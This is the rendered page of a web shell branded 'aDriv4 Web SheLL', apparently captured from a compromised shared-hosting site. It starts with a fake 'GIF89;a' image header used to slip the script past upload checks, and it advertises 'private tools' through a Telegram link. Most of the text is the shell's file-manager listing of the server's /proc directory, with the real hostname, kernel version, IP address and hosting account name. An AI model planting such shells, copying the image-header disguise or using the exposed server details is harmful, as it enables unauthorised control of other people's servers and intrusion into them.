GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium294.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
 LiteSpeed
 66.29.137.213
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-06-29 07:36:03
.. dir - root/root 0755 2025-08-02 05:25:51
2752158 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
2752160 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
2753617 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
2753791 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
2758218 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
2760314 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
2763954 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
2767138 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
2775263 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
2790406 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
2791774 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
2794831 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
2801455 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
2841221 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
2876212 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
2891438 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
2923674 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
2936326 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
2983298 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
3017120 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:03
3061531 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:04
3066460 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:04
3069993 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:04
3072489 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:04
3072566 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:04
3072567 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:04
3074890 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:04
3074917 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:04
3076767 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:04
3077036 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:04
3077994 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:04
3078108 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:04
3078168 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:04
3078330 dir - tecnsujc/tecnsujc 0555 2025-11-07 04:00:04
acpi dir - root/root 0555 2025-06-29 07:36:06
bus dir - root/root 0555 2025-06-29 07:41:36
driver dir - root/root 0555 2025-11-07 04:00:04
fs dir - root/root 0555 2025-06-29 07:41:36
irq dir - root/root 0555 2025-06-29 07:41:36
kcare dir - root/root 0555 2025-11-07 04:00:04
lve dir - root/root 0555 2025-11-07 04:00:04
net link - tecnsujc/tecnsujc 0555 2025-11-07 04:00:04
scsi dir - root/root 0555 2025-06-29 07:41:36
self link - tecnsujc/tecnsujc 0555 2025-11-07 04:00:04
sys dir - root/root 0555 2025-06-29 07:36:04
sysvipc dir - root/root 0555 2025-11-07 04:00:04
thread-self link - tecnsujc/tecnsujc 0555 2025-11-07 04:00:04
tty dir - root/root 0555 2025-11-07 04:00:04
buddyinfo 0 B root/root 0444 2025-11-07 04:00:04
cgroups 0 B root/root 0444 2025-11-07 04:00:04
cmdline text/plain 0 B root/root 0444 2025-11-07 04:00:01
consoles 0 B root/root 0444 2025-11-07 04:00:04
cpuinfo text/plain 0 B root/root 0444 2025-11-07 04:00:04
crypto 0 B root/root 0444 2025-11-07 04:00:04
devices 0 B root/root 0444 2025-11-07 04:00:04
diskstats 0 B root/root 0444 2025-11-07 04:00:04
dma 0 B root/root 0444 2025-11-07 04:00:04
execdomains 0 B root/root 0444 2025-11-07 04:00:04
fb 0 B root/root 0444 2025-11-07 04:00:04
filesystems text/plain 0 B root/root 0444 2025-11-07 03:56:47
interrupts 0 B root/root 0444 2025-11-07 04:00:04
iomem 0 B root/root 0444 2025-11-07 04:00:04
ioports 0 B root/root 0444 2025-11-07 04:00:04
kallsyms 0 B root/root 0444 2025-06-29 07:41:36
kcore 128 TB root/root 0400 2025-06-29 07:36:06
key-users 0 B root/root 0444 2025-11-07 04:00:04
keys 0 B root/root 0444 2025-11-07 04:00:04
kmsg 0 B root/root 0400 2025-11-07 04:00:04
kpagecgroup 0 B root/root 0400 2025-11-07 04:00:04
kpagecount 0 B root/root 0400 2025-11-07 04:00:04
kpageflags 0 B root/root 0400 2025-11-07 04:00:04
loadavg text/plain 0 B root/root 0444 2025-11-07 04:00:03
locks 0 B root/root 0444 2025-11-07 04:00:04
mdstat 0 B root/root 0444 2025-11-07 04:00:04
meminfo text/plain 0 B root/root 0444 2025-11-07 04:00:03
misc 0 B root/root 0444 2025-11-07 04:00:04
modules 0 B root/root 0444 2025-11-07 04:00:04
mounts text/plain 0 B tecnsujc/tecnsujc 0444 2025-11-07 04:00:04
mtrr 0 B root/root 0644 2025-06-29 07:41:36
pagetypeinfo 0 B root/root 0400 2025-11-07 04:00:04
partitions 0 B root/root 0444 2025-11-07 04:00:04
sched_debug 0 B root/root 0444 2025-11-07 04:00:04
schedstat 0 B root/root 0444 2025-11-07 04:00:04
slabinfo 0 B root/root 0400 2025-11-07 04:00:04
softirqs 0 B root/root 0444 2025-11-07 04:00:04
stat text/plain 0 B root/root 0444 2025-11-07 04:00:01
swaps 0 B root/root 0444 2025-06-29 07:36:04
sysrq-trigger 0 B root/root 0200 2025-06-29 07:41:36
timer_list 0 B root/root 0400 2025-11-07 04:00:04
uptime text/plain 0 B root/root 0444 2025-11-07 03:56:52
version text/plain 0 B root/root 0444 2025-11-07 04:00:04
vmallocinfo 0 B root/root 0400 2025-11-07 04:00:04
vmstat 0 B root/root 0444 2025-11-07 04:00:04
zoneinfo 0 B root/root 0444 2025-11-07 04:00:04
© aDriv4